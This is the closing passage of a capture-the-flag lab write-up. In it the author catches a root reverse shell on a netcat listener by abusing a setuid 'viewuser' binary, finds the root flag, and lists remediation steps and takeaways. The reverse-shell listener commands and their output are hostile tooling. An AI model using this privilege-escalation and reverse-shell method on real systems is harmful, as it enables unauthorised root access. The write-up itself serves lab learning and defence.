Now let’s give the viewuser binary another run as djmardov and see what happens:
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2020-01-31 11:14 (:0)
djmardov pts/0 2020-01-31 11:15 (10.10.14.50)
We see that the application does not error out, and seems to still run, which indicates it may be running our shell command currently. And if we check our netcat listener:
root@kali:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.117] 43155
root@irked:~# date && id
date && id
Fri Jan 31 12:04:20 EST 2020
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
We got a root shell, awesome!
We can go ahead and grab our root flag, and wrap it up.
root@irked:~# find / -name root.txt
find / -name root.txt
/root/root.txt
Conclusion
Remediation Recommendations
-
The IRC server should be updated/patched to address the backdoor command execution vulnerability.
-
The SSH password for the user djmardov should not be stored on the server in a non-hashed format. Even though some stegonography was applied, this is not a sufficient authentication protection.
-
File permissions should be checked and addressed as needed - if possible the setuid bit for the viewuser binary should be changed to be less permissive, or the file the binary is calling needs to be further locked down the disallow modification by less privileged users
Personal Takeaways
- Get more familiar with strace/ltrace/gdb
Until next time,
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!